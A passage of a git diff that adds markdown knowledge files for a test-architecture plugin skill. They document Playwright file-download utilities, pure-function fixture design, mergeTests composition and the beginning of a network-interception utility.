+- `isVectorBased: true`
+- Explanatory message in `extractionNotes`
+
+### Example 4: ZIP Archive Validation
+
+**Context**: Validate ZIP contains expected files and extract specific file.
+
+**Implementation**:
+
+```typescript
+import { readZIP } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should validate ZIP archive', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.click('[data-testid="download-backup"]'),
+  });
+
+  const zipResult = await readZIP({ filePath: downloadPath });
+
+  // Check file list
+  expect(Array.isArray(zipResult.content.entries)).toBe(true);
+  expect(zipResult.content.entries).toContain('Case_53125_10-19-22_AM/Case_53125_10-19-22_AM_case_data.csv');
+
+  // Extract specific file
+  const targetFile = 'Case_53125_10-19-22_AM/Case_53125_10-19-22_AM_case_data.csv';
+  const zipWithExtraction = await readZIP({
+    filePath: downloadPath,
+    fileToExtract: targetFile,
+  });
+
+  // Access extracted file buffer
+  const extractedFiles = zipWithExtraction.content.extractedFiles || {};
+  const fileBuffer = extractedFiles[targetFile];
+  expect(fileBuffer).toBeInstanceOf(Buffer);
+  expect(fileBuffer?.length).toBeGreaterThan(0);
+});
+```
+
+**Key Points**:
+
+- `content.entries` lists all files in archive
+- `fileToExtract` extracts specific files to Buffer
+- Validate archive structure
+- Read and parse individual files from ZIP
+
+### Example 5: API-Triggered Download
+
+**Context**: API endpoint returns file download (not UI click).
+
+**Implementation**:
+
+```typescript
+test('should download via API', async ({ page, request }) => {
+  const downloadPath = await handleDownload({
+    page, // Still need page for download events
+    downloadDir: DOWNLOAD_DIR,
+    trigger: async () => {
+      const response = await request.get('/api/export/csv', {
+        headers: { Authorization: 'Bearer token' },
+      });
+
+      if (!response.ok()) {
+        throw new Error(`Export failed: ${response.status()}`);
+      }
+    },
+  });
+
+  const { content } = await readCSV({ filePath: downloadPath });
+
+  expect(content.data).toHaveLength(100);
+});
+```
+
+**Key Points**:
+
+- `trigger` can be async API call
+- API must return `Content-Disposition` header
+- Still need `page` for download events
+- Works with authenticated endpoints
+
+### Example 6: Reading CSV from Buffer (ZIP extraction)
+
+**Context**: Read CSV content directly from a Buffer (e.g., extracted from ZIP).
+
+**Implementation**:
+
+```typescript
+// Read from a Buffer (e.g., extracted from a ZIP)
+const zipResult = await readZIP({
+  filePath: 'archive.zip',
+  fileToExtract: 'data.csv',
+});
+const fileBuffer = zipResult.content.extractedFiles?.['data.csv'];
+const csvFromBuffer = await readCSV({ content: fileBuffer });
+
+// Read from a string
+const csvString = 'name,age\nJohn,30\nJane,25';
+const csvFromString = await readCSV({ content: csvString });
+
+const { data, headers } = csvFromString.content;
+expect(headers).toContain('name');
+expect(headers).toContain('age');
+```
+
+## API Reference
+
+### CSV Reader Options
+
+| Option         | Type               | Default  | Description                            |
+| -------------- | ------------------ | -------- | -------------------------------------- |
+| `filePath`     | `string`           | -        | Path to CSV file (mutually exclusive)  |
+| `content`      | `string \| Buffer` | -        | Direct content (mutually exclusive)    |
+| `delimiter`    | `string \| 'auto'` | `','`    | Value separator, auto-detect if 'auto' |
+| `encoding`     | `string`           | `'utf8'` | File encoding                          |
+| `parseHeaders` | `boolean`          | `true`   | Use first row as headers               |
+| `trim`         | `boolean`          | `true`   | Trim whitespace from values            |
+
+### XLSX Reader Options
+
+| Option      | Type     | Description                    |
+| ----------- | -------- | ------------------------------ |
+| `filePath`  | `string` | Path to XLSX file              |
+| `sheetName` | `string` | Name of sheet to set as active |
+
+### PDF Reader Options
+
+| Option       | Type      | Default | Description                 |
+| ------------ | --------- | ------- | --------------------------- |
+| `filePath`   | `string`  | -       | Path to PDF file (required) |
+| `mergePages` | `boolean` | `true`  | Merge text from all pages   |
+| `maxPages`   | `number`  | -       | Maximum pages to extract    |
+| `debug`      | `boolean` | `false` | Enable debug logging        |
+
+### ZIP Reader Options
+
+| Option          | Type     | Description                        |
+| --------------- | -------- | ---------------------------------- |
+| `filePath`      | `string` | Path to ZIP file                   |
+| `fileToExtract` | `string` | Specific file to extract to Buffer |
+
+### Return Values
+
+#### CSV Reader Return Value
+
+```typescript
+{
+  content: {
+    data: Array<Array<string | number>>,  // Parsed rows (excludes header row if parseHeaders: true)
+    headers: string[] | null              // Column headers (null if parseHeaders: false)
+  }
+}
+```
+
+#### XLSX Reader Return Value
+
+```typescript
+{
+  content: {
+    worksheets: Array<{
+      name: string; // Sheet name
+      rows: Array<Array<any>>; // All rows including headers
+      headers?: string[]; // First row as headers (if present)
+    }>;
+  }
+}
+```
+
+#### PDF Reader Return Value
+
+```typescript
+{
+  content: string,                        // Extracted text (merged or per-page based on mergePages)
+  pagesCount: number,                     // Total pages in PDF
+  fileName?: string,                      // Original filename if available
+  info?: Record<string, any>              // PDF metadata (author, title, etc.)
+}
+```
+
+> **Note**: When `mergePages: false`, `content` is an array of strings (one per page). When `maxPages` is set, only that many pages are extracted.
+
+#### ZIP Reader Return Value
+
+```typescript
+{
+  content: {
+    entries: Array<{
+      name: string,                       // File/directory path within ZIP
+      size: number,                       // Uncompressed size in bytes
+      isDirectory: boolean                // True for directories
+    }>,
+    extractedFiles: Record<string, Buffer | string>  // Extracted file contents by path
+  }
+}
+```
+
+> **Note**: When `fileToExtract` is specified, only that file appears in `extractedFiles`.
+
+## Download Cleanup Pattern
+
+```typescript
+test.afterEach(async () => {
+  // Clean up downloaded files
+  await fs.remove(DOWNLOAD_DIR);
+});
+```
+
+## Comparison with Vanilla Playwright
+
+Vanilla Playwright (real test) snippet:
+
+```typescript
+// ~80 lines of boilerplate!
+const [download] = await Promise.all([page.waitForEvent('download'), page.getByTestId('download-button-CSV Export').click()]);
+
+const failure = await download.failure();
+expect(failure).toBeNull();
+
+const filePath = testInfo.outputPath(download.suggestedFilename());
+await download.saveAs(filePath);
+
+await expect
+  .poll(
+    async () => {
+      try {
+        await fs.access(filePath);
+        return true;
+      } catch {
+        return false;
+      }
+    },
+    { timeout: 5000, intervals: [100, 200, 500] },
+  )
+  .toBe(true);
+
+const csvContent = await fs.readFile(filePath, 'utf-8');
+
+const parseResult = parse(csvContent, {
+  header: true,
+  skipEmptyLines: true,
+  dynamicTyping: true,
+  transformHeader: (header: string) => header.trim(),
+});
+
+if (parseResult.errors.length > 0) {
+  throw new Error(`CSV parsing errors: ${JSON.stringify(parseResult.errors)}`);
+}
+
+const data = parseResult.data as Array<Record<string, unknown>>;
+const headers = parseResult.meta.fields || [];
+```
+
+With File Utils, the same flow becomes:
+
+```typescript
+const downloadPath = await handleDownload({
+  page,
+  downloadDir: DOWNLOAD_DIR,
+  trigger: () => page.getByTestId('download-button-text/csv').click(),
+});
+
+const { data, headers } = (await readCSV({ filePath: downloadPath })).content;
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and imports
+- `api-request.md` - API-triggered downloads
+- `recurse.md` - Poll for file generation completion
+
+## Anti-Patterns
+
+**DON'T leave downloads in place:**
+
+```typescript
+test('creates file', async () => {
+  await handleDownload({ ... })
+  // File left in downloads folder
+})
+```
+
+**DO clean up after tests:**
+
+```typescript
+test.afterEach(async () => {
+  await fs.remove(DOWNLOAD_DIR);
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/fixture-architecture.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/fixture-architecture.md
new file mode 100644
index 0000000..0f617a4
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/fixture-architecture.md
@@ -0,0 +1,401 @@
+# Fixture Architecture Playbook
+
+## Principle
+
+Build test helpers as pure functions first, then wrap them in framework-specific fixtures. Compose capabilities using `mergeTests` (Playwright) or layered commands (Cypress) instead of inheritance. Each fixture should solve one isolated concern (auth, API, logs, network).
+
+## Rationale
+
+Traditional Page Object Models create tight coupling through inheritance chains (`BasePage → LoginPage → AdminPage`). When base classes change, all descendants break. Pure functions with fixture wrappers provide:
+
+- **Testability**: Pure functions run in unit tests without framework overhead
+- **Composability**: Mix capabilities freely via `mergeTests`, no inheritance constraints
+- **Reusability**: Export fixtures via package subpaths for cross-project sharing
+- **Maintainability**: One concern per fixture = clear responsibility boundaries
+
+## Pattern Examples
+
+### Example 1: Pure Function → Fixture Pattern
+
+**Context**: When building any test helper, always start with a pure function that accepts all dependencies explicitly. Then wrap it in a Playwright fixture or Cypress command.
+
+**Implementation**:
+
+```typescript
+// playwright/support/helpers/api-request.ts
+// Step 1: Pure function (ALWAYS FIRST!)
+type ApiRequestParams = {
+  request: APIRequestContext;
+  method: 'GET' | 'POST' | 'PUT' | 'DELETE';
+  url: string;
+  data?: unknown;
+  headers?: Record<string, string>;
+};
+
+export async function apiRequest({
+  request,
+  method,
+  url,
+  data,
+  headers = {}
+}: ApiRequestParams) {
+  const response = await request.fetch(url, {
+    method,
+    data,
+    headers: {
+      'Content-Type': 'application/json',
+      ...headers
+    }
+  });
+
+  if (!response.ok()) {
+    throw new Error(`API request failed: ${response.status()} ${await response.text()}`);
+  }
+
+  return response.json();
+}
+
+// Step 2: Fixture wrapper
+// playwright/support/fixtures/api-request-fixture.ts
+import { test as base } from '@playwright/test';
+import { apiRequest } from '../helpers/api-request';
+
+export const test = base.extend<{ apiRequest: typeof apiRequest }>({
+  apiRequest: async ({ request }, use) => {
+    // Inject framework dependency, expose pure function
+    await use((params) => apiRequest({ request, ...params }));
+  }
+});
+
+// Step 3: Package exports for reusability
+// package.json
+{
+  "exports": {
+    "./api-request": "./playwright/support/helpers/api-request.ts",
+    "./api-request/fixtures": "./playwright/support/fixtures/api-request-fixture.ts"
+  }
+}
+```
+
+**Key Points**:
+
+- Pure function is unit-testable without Playwright running
+- Framework dependency (`request`) injected at fixture boundary
+- Fixture exposes the pure function to test context
+- Package subpath exports enable `import { apiRequest } from 'my-fixtures/api-request'`
+
+### Example 2: Composable Fixture System with mergeTests
+
+**Context**: When building comprehensive test capabilities, compose multiple focused fixtures instead of creating monolithic helper classes. Each fixture provides one capability.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/merged-fixtures.ts
+import { test as base, mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from './api-request-fixture';
+import { test as networkFixture } from './network-fixture';
+import { test as authFixture } from './auth-fixture';
+import { test as logFixture } from './log-fixture';
+
+// Compose all fixtures for comprehensive capabilities
+export const test = mergeTests(base, apiRequestFixture, networkFixture, authFixture, logFixture);
+
+export { expect } from '@playwright/test';
+
+// Example usage in tests:
+// import { test, expect } from './support/fixtures/merged-fixtures';
+//
+// test('user can create order', async ({ page, apiRequest, auth, network }) => {
+//   await auth.loginAs('customer@example.com');
+//   await network.interceptRoute('POST', '**/api/orders', { id: 123 });
+//   await page.goto('/checkout');
+//   await page.click('[data-testid="submit-order"]');
+//   await expect(page.getByText('Order #123')).toBeVisible();
+// });
+```
+
+**Individual Fixture Examples**:
+
+```typescript
+// network-fixture.ts
+export const test = base.extend({
+  network: async ({ page }, use) => {
+    const interceptedRoutes = new Map();
+
+    const interceptRoute = async (method: string, url: string, response: unknown) => {
+      await page.route(url, (route) => {
+        if (route.request().method() === method) {
+          route.fulfill({ body: JSON.stringify(response) });
+        }
+      });
+      interceptedRoutes.set(`${method}:${url}`, response);
+    };
+
+    await use({ interceptRoute });
+
+    // Cleanup
+    interceptedRoutes.clear();
+  },
+});
+
+// auth-fixture.ts
+export const test = base.extend({
+  auth: async ({ page, context }, use) => {
+    const loginAs = async (email: string) => {
+      // Use API to setup auth (fast!)
+      const token = await getAuthToken(email);
+      await context.addCookies([
+        {
+          name: 'auth_token',
+          value: token,
+          domain: 'localhost',
+          path: '/',
+        },
+      ]);
+    };
+
+    await use({ loginAs });
+  },
+});
+```
+
+**Key Points**:
+
+- `mergeTests` combines fixtures without inheritance
+- Each fixture has single responsibility (network, auth, logs)
+- Tests import merged fixture and access all capabilities
+- No coupling between fixtures—add/remove freely
+
+### Example 3: Framework-Agnostic HTTP Helper
+
+**Context**: When building HTTP helpers, keep them framework-agnostic. Accept all params explicitly so they work in unit tests, Playwright, Cypress, or any context.
+
+**Implementation**:
+
+```typescript
+// shared/helpers/http-helper.ts
+// Pure, framework-agnostic function
+type HttpHelperParams = {
+  baseUrl: string;
+  endpoint: string;
+  method: 'GET' | 'POST' | 'PUT' | 'DELETE';
+  body?: unknown;
+  headers?: Record<string, string>;
+  token?: string;
+};
+
+export async function makeHttpRequest({ baseUrl, endpoint, method, body, headers = {}, token }: HttpHelperParams): Promise<unknown> {
+  const url = `${baseUrl}${endpoint}`;
+  const requestHeaders = {
+    'Content-Type': 'application/json',
+    ...(token && { Authorization: `Bearer ${token}` }),
+    ...headers,
+  };
+
+  const response = await fetch(url, {
+    method,
+    headers: requestHeaders,
+    body: body ? JSON.stringify(body) : undefined,
+  });
+
+  if (!response.ok) {
+    const errorText = await response.text();
+    throw new Error(`HTTP ${method} ${url} failed: ${response.status} ${errorText}`);
+  }
+
+  return response.json();
+}
+
+// Playwright fixture wrapper
+// playwright/support/fixtures/http-fixture.ts
+import { test as base } from '@playwright/test';
+import { makeHttpRequest } from '../../shared/helpers/http-helper';
+
+export const test = base.extend({
+  httpHelper: async ({}, use) => {
+    const baseUrl = process.env.API_BASE_URL || 'http://localhost:3000';
+
+    await use((params) => makeHttpRequest({ baseUrl, ...params }));
+  },
+});
+
+// Cypress command wrapper
+// cypress/support/commands.ts
+import { makeHttpRequest } from '../../shared/helpers/http-helper';
+
+Cypress.Commands.add('apiRequest', (params) => {
+  const baseUrl = Cypress.env('API_BASE_URL') || 'http://localhost:3000';
+  return cy.wrap(makeHttpRequest({ baseUrl, ...params }));
+});
+```
+
+**Key Points**:
+
+- Pure function uses only standard `fetch`, no framework dependencies
+- Unit tests call `makeHttpRequest` directly with all params
+- Playwright and Cypress wrappers inject framework-specific config
+- Same logic runs everywhere—zero duplication
+
+### Example 4: Fixture Cleanup Pattern
+
+**Context**: When fixtures create resources (data, files, connections), ensure automatic cleanup in fixture teardown. Tests must not leak state.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/database-fixture.ts
+import { test as base } from '@playwright/test';
+import { seedDatabase, deleteRecord } from '../helpers/db-helpers';
+
+type DatabaseFixture = {
+  seedUser: (userData: Partial<User>) => Promise<User>;
+  seedOrder: (orderData: Partial<Order>) => Promise<Order>;
+};
+
+export const test = base.extend<DatabaseFixture>({
+  seedUser: async ({}, use) => {
+    const createdUsers: string[] = [];
+
+    const seedUser = async (userData: Partial<User>) => {
+      const user = await seedDatabase('users', userData);
+      createdUsers.push(user.id);
+      return user;
+    };
+
+    await use(seedUser);
+
+    // Auto-cleanup: Delete all users created during test
+    for (const userId of createdUsers) {
+      await deleteRecord('users', userId);
+    }
+    createdUsers.length = 0;
+  },
+
+  seedOrder: async ({}, use) => {
+    const createdOrders: string[] = [];
+
+    const seedOrder = async (orderData: Partial<Order>) => {
+      const order = await seedDatabase('orders', orderData);
+      createdOrders.push(order.id);
+      return order;
+    };
+
+    await use(seedOrder);
+
+    // Auto-cleanup: Delete all orders
+    for (const orderId of createdOrders) {
+      await deleteRecord('orders', orderId);
+    }
+    createdOrders.length = 0;
+  },
+});
+
+// Example usage:
+// test('user can place order', async ({ seedUser, seedOrder, page }) => {
+//   const user = await seedUser({ email: 'test@example.com' });
+//   const order = await seedOrder({ userId: user.id, total: 100 });
+//
+//   await page.goto(`/orders/${order.id}`);
+//   await expect(page.getByText('Order Total: $100')).toBeVisible();
+//
+//   // No manual cleanup needed—fixture handles it automatically
+// });
+```
+
+**Key Points**:
+
+- Track all created resources in array during test execution
+- Teardown (after `use()`) deletes all tracked resources
+- Tests don't manually clean up—happens automatically
+- Prevents test pollution and flakiness from shared state
+
+### Anti-Pattern: Inheritance-Based Page Objects
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Page Object Model with inheritance
+class BasePage {
+  constructor(public page: Page) {}
+
+  async navigate(url: string) {
+    await this.page.goto(url);
+  }
+
+  async clickButton(selector: string) {
+    await this.page.click(selector);
+  }
+}
+
+class LoginPage extends BasePage {
+  async login(email: string, password: string) {
+    await this.navigate('/login');
+    await this.page.fill('#email', email);
+    await this.page.fill('#password', password);
+    await this.clickButton('#submit');
+  }
+}
+
+class AdminPage extends LoginPage {
+  async accessAdminPanel() {
+    await this.login('admin@example.com', 'admin123');
+    await this.navigate('/admin');
+  }
+}
+```
+
+**Why It Fails**:
+
+- Changes to `BasePage` break all descendants (`LoginPage`, `AdminPage`)
+- `AdminPage` inherits unnecessary `login` details—tight coupling
+- Cannot compose capabilities (e.g., admin + reporting features require multiple inheritance)
+- Hard to test `BasePage` methods in isolation
+- Hidden state in class instances leads to unpredictable behavior
+
+**Better Approach**: Use pure functions + fixtures
+
+```typescript
+// ✅ GOOD: Pure functions with fixture composition
+// helpers/navigation.ts
+export async function navigate(page: Page, url: string) {
+  await page.goto(url);
+}
+
+// helpers/auth.ts
+export async function login(page: Page, email: string, password: string) {
+  await page.fill('[data-testid="email"]', email);
+  await page.fill('[data-testid="password"]', password);
+  await page.click('[data-testid="submit"]');
+}
+
+// fixtures/admin-fixture.ts
+export const test = base.extend({
+  adminPage: async ({ page }, use) => {
+    await login(page, 'admin@example.com', 'admin123');
+    await navigate(page, '/admin');
+    await use(page);
+  },
+});
+
+// Tests import exactly what they need—no inheritance
+```
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (initial setup)
+- **Related fragments**:
+  - `data-factories.md` - Factory functions for test data
+  - `network-first.md` - Network interception patterns
+  - `test-quality.md` - Deterministic test design principles
+
+## Helper Function Reuse Guidelines
+
+When deciding whether to create a fixture, follow these rules:
+
+- **3+ uses** → Create fixture with subpath export (shared across tests/projects)
+- **2-3 uses** → Create utility module (shared within project)
+- **1 use** → Keep inline (avoid premature abstraction)
+- **Complex logic** → Factory function pattern (dynamic data generation)
+
+_Source: Murat Testing Philosophy (lines 74-122), enterprise production patterns, Playwright fixture docs._
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/fixtures-composition.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/fixtures-composition.md
new file mode 100644
index 0000000..93d14d0
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/fixtures-composition.md
@@ -0,0 +1,382 @@
+# Fixtures Composition with mergeTests
+
+## Principle
+
+Combine multiple Playwright fixtures using `mergeTests` to create a unified test object with all capabilities. Build composable test infrastructure by merging playwright-utils fixtures with custom project fixtures.
+
+## Rationale
+
+Using fixtures from multiple sources requires combining them:
+
+- Importing from multiple fixture files is verbose
+- Name conflicts between fixtures
+- Duplicate fixture definitions
+- No clear single test object
+
+Playwright's `mergeTests` provides:
+
+- **Single test object**: All fixtures in one import
+- **Conflict resolution**: Handles name collisions automatically
+- **Composition pattern**: Mix utilities, custom fixtures, third-party fixtures
+- **Type safety**: Full TypeScript support for merged fixtures
+- **Maintainability**: One place to manage all fixtures
+
+## Pattern Examples
+
+### Example 1: Basic Fixture Merging
+
+**Context**: Combine multiple playwright-utils fixtures into single test object.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+// Merge all fixtures
+export const test = mergeTests(apiRequestFixture, authFixture, recurseFixture);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In your tests - import from merged fixtures
+import { test, expect } from '../support/merged-fixtures';
+
+test('all utilities available', async ({
+  apiRequest, // From api-request fixture
+  authToken, // From auth fixture
+  recurse, // From recurse fixture
+}) => {
+  // All fixtures available in single test signature
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  await recurse(
+    () => apiRequest({ method: 'GET', path: `/status/${body.id}` }),
+    (res) => res.body.ready === true,
+  );
+});
+```
+
+**Key Points**:
+
+- Create one `merged-fixtures.ts` per project
+- Import test object from merged fixtures in all test files
+- All utilities available without multiple imports
+- Type-safe access to all fixtures
+
+### Example 2: Combining with Custom Fixtures
+
+**Context**: Add project-specific fixtures alongside playwright-utils.
+
+**Implementation**:
+
+```typescript
+// playwright/support/custom-fixtures.ts - Your project fixtures
+import { test as base } from '@playwright/test';
+import { createUser } from './factories/user-factory';
+import { seedDatabase } from './helpers/db-seeder';
+
+export const test = base.extend({
+  // Custom fixture 1: Auto-seeded user
+  testUser: async ({ request }, use) => {
+    const user = await createUser({ role: 'admin' });
+    await seedDatabase('users', [user]);
+    await use(user);
+    // Cleanup happens automatically
+  },
+
+  // Custom fixture 2: Database helpers
+  db: async ({}, use) => {
+    await use({
+      seed: seedDatabase,
+      clear: () => seedDatabase.truncate(),
+    });
+  },
+});
+
+// playwright/support/merged-fixtures.ts - Combine everything
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as customFixtures } from './custom-fixtures';
+
+export const test = mergeTests(
+  apiRequestFixture,
+  authFixture,
+  customFixtures, // Your project fixtures
+);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In tests - all fixtures available
+import { test, expect } from '../support/merged-fixtures';
+
+test('using mixed fixtures', async ({
+  apiRequest, // playwright-utils
+  authToken, // playwright-utils
+  testUser, // custom
+  db, // custom
+}) => {
+  // Use playwright-utils
+  const { body } = await apiRequest({
+    method: 'GET',
+    path: `/api/users/${testUser.id}`,
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  // Use custom fixture
+  await db.clear();
+});
+```
+
+**Key Points**:
+
+- Custom fixtures extend `base` test
+- Merge custom with playwright-utils fixtures
+- All available in one test signature
+- Maintainable separation of concerns
+
+### Example 3: Full Utility Suite Integration
+
+**Context**: Production setup with all core playwright-utils and custom fixtures.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+
+// Playwright utils fixtures
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as interceptFixture } from '@seontechnologies/playwright-utils/intercept-network-call/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+import { test as networkRecorderFixture } from '@seontechnologies/playwright-utils/network-recorder/fixtures';
+
+// Custom project fixtures
+import { test as customFixtures } from './custom-fixtures';
+
+// Merge everything
+export const test = mergeTests(apiRequestFixture, authFixture, interceptFixture, recurseFixture, networkRecorderFixture, customFixtures);
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// In tests
+import { test, expect } from '../support/merged-fixtures';
+
+test('full integration', async ({
+  page,
+  context,
+  apiRequest,
+  authToken,
+  interceptNetworkCall,
+  recurse,
+  networkRecorder,
+  testUser, // custom
+}) => {
+  // All utilities + custom fixtures available
+  await networkRecorder.setup(context);
+
+  const usersCall = interceptNetworkCall({ url: '**/api/users' });
+
+  await page.goto('/users');
+  const { responseJson } = await usersCall;
+
+  expect(responseJson).toContainEqual(expect.objectContaining({ id: testUser.id }));
+});
+```
+
+**Key Points**:
+
+- One merged-fixtures.ts for entire project
+- Combine all playwright-utils you use
+- Add custom project fixtures
+- Single import in all test files
+
+### Example 4: Fixture Override Pattern
+
+**Context**: Override default options for specific test files or describes.
+
+**Implementation**:
+
+```typescript
+import { test, expect } from '../support/merged-fixtures';
+
+// Override auth options for entire file
+test.use({
+  authOptions: {
+    userIdentifier: 'admin',
+    environment: 'staging',
+  },
+});
+
+test('uses admin on staging', async ({ authToken }) => {
+  // Token is for admin user on staging environment
+});
+
+// Override for specific describe block
+test.describe('manager tests', () => {
+  test.use({
+    authOptions: {
+      userIdentifier: 'manager',
+    },
+  });
+
+  test('manager can access reports', async ({ page }) => {
+    // Uses manager token
+    await page.goto('/reports');
+  });
+});
+```
+
+**Key Points**:
+
+- `test.use()` overrides fixture options
+- Can override at file or describe level
+- Options merge with defaults
+- Type-safe overrides
+
+### Example 5: Avoiding Fixture Conflicts
+
+**Context**: Handle name collisions when merging fixtures with same names.
+
+**Implementation**:
+
+```typescript
+// If two fixtures have same name, last one wins
+import { test as fixture1 } from './fixture1'; // has 'user' fixture
+import { test as fixture2 } from './fixture2'; // also has 'user' fixture
+
+const test = mergeTests(fixture1, fixture2);
+// fixture2's 'user' overrides fixture1's 'user'
+
+// Better: Rename fixtures before merging
+import { test as base } from '@playwright/test';
+import { test as fixture1 } from './fixture1';
+
+const fixture1Renamed = base.extend({
+  user1: fixture1._extend.user, // Rename to avoid conflict
+});
+
+const test = mergeTests(fixture1Renamed, fixture2);
+// Now both 'user1' and 'user' available
+
+// Best: Design fixtures without conflicts
+// - Prefix custom fixtures: 'myAppUser', 'myAppDb'
+// - Playwright-utils uses descriptive names: 'apiRequest', 'authToken'
+```
+
+**Key Points**:
+
+- Last fixture wins in conflicts
+- Rename fixtures to avoid collisions
+- Design fixtures with unique names
+- Playwright-utils uses descriptive names (no conflicts)
+
+## Recommended Project Structure
+
+```
+playwright/
+├── support/
+│   ├── merged-fixtures.ts        # ⭐ Single test object for project
+│   ├── custom-fixtures.ts        # Your project-specific fixtures
+│   ├── auth/
+│   │   ├── auth-fixture.ts       # Auth wrapper (if needed)
+│   │   └── custom-auth-provider.ts
+│   ├── fixtures/
+│   │   ├── user-fixture.ts
+│   │   ├── db-fixture.ts
+│   │   └── api-fixture.ts
+│   └── utils/
+│       └── factories/
+└── tests/
+    ├── api/
+    │   └── users.spec.ts          # import { test } from '../../support/merged-fixtures'
+    ├── e2e/
+    │   └── login.spec.ts          # import { test } from '../../support/merged-fixtures'
+    └── component/
+        └── button.spec.ts         # import { test } from '../../support/merged-fixtures'
+```
+
+## Benefits of Fixture Composition
+
+**Compared to direct imports:**
+
+```typescript
+// ❌ Without mergeTests (verbose)
+import { test as base } from '@playwright/test';
+import { apiRequest } from '@seontechnologies/playwright-utils/api-request';
+import { getAuthToken } from './auth';
+import { createUser } from './factories';
+
+test('verbose', async ({ request }) => {
+  const token = await getAuthToken();
+  const user = await createUser();
+  const response = await apiRequest({ request, method: 'GET', path: '/api/users' });
+  // Manual wiring everywhere
+});
+
+// ✅ With mergeTests (clean)
+import { test } from '../support/merged-fixtures';
+
+test('clean', async ({ apiRequest, authToken, testUser }) => {
+  const { body } = await apiRequest({ method: 'GET', path: '/api/users' });
+  // All fixtures auto-wired
+});
+```
+
+**Reduction:** ~10 lines per test → ~2 lines
+
+## Related Fragments
+
+- `overview.md` - Installation and design principles
+- `api-request.md`, `auth-session.md`, `recurse.md` - Utilities to merge
+- `network-recorder.md`, `intercept-network-call.md`, `log.md` - Additional utilities
+
+## Anti-Patterns
+
+**❌ Importing test from multiple fixture files:**
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+// Also need auth...
+import { test as authTest } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+// Name conflict! Which test to use?
+```
+
+**✅ Use merged fixtures:**
+
+```typescript
+import { test } from '../support/merged-fixtures';
+// All utilities available, no conflicts
+```
+
+**❌ Merging too many fixtures (kitchen sink):**
+
+```typescript
+// Merging 20+ fixtures makes test signature huge
+const test = mergeTests(...20 different fixtures)
+
+test('my test', async ({ fixture1, fixture2, ..., fixture20 }) => {
+  // Cognitive overload
+})
+```
+
+**✅ Merge only what you actually use:**
+
+```typescript
+// Merge the 4-6 fixtures your project actually needs
+const test = mergeTests(apiRequestFixture, authFixture, recurseFixture, customFixtures);
+```
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/intercept-network-call.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/intercept-network-call.md
new file mode 100644
index 0000000..8c892d2
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/intercept-network-call.md
@@ -0,0 +1,426 @@
+# Intercept Network Call Utility
+
+## Principle
+
+Intercept network requests with a single declarative call that returns a Promise. Automatically parse JSON responses, support both spy (observe) and stub (mock) patterns, and use powerful glob pattern matching for URL filtering.
+
+## Rationale
+
+Vanilla Playwright's network interception requires multiple steps:
+
+- `page.route()` to setup, `page.waitForResponse()` to capture
+- Manual JSON parsing
+- Verbose syntax for conditional handling
+- Complex filter predicates
+
+The `interceptNetworkCall` utility provides:
+
+- **Single declarative call**: Setup and wait in one statement
+- **Automatic JSON parsing**: Response pre-parsed, strongly typed
+- **Flexible URL patterns**: Glob matching with picomatch
+- **Spy or stub modes**: Observe real traffic or mock responses
+- **Concise API**: Reduces boilerplate by 60-70%
+
+## Pattern Examples
+
+### Example 1: Spy on Network (Observe Real Traffic)
+
+**Context**: Capture and inspect real API responses for validation.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/intercept-network-call/fixtures';
+
+test('should spy on users API', async ({ page, interceptNetworkCall }) => {
+  // Setup interception BEFORE navigation
+  const usersCall = interceptNetworkCall({
+    url: '**/api/users', // Glob pattern
+  });
+
+  await page.goto('/dashboard');
+
+  // Wait for response and access parsed data
+  const { responseJson, status } = await usersCall;
+
+  expect(status).toBe(200);
+  expect(responseJson).toHaveLength(10);
+  expect(responseJson[0]).toHaveProperty('name');
+});
+```
+
+**Key Points**:
+
+- Intercept before navigation (critical for race-free tests)
+- Returns Promise with `{ responseJson, status, requestBody }`
+- Glob patterns (`**` matches any path segment)
+- JSON automatically parsed
+
+### Example 2: Stub Network (Mock Response)
+
+**Context**: Mock API responses for testing UI behavior without backend.
+
+**Implementation**:
+
+```typescript
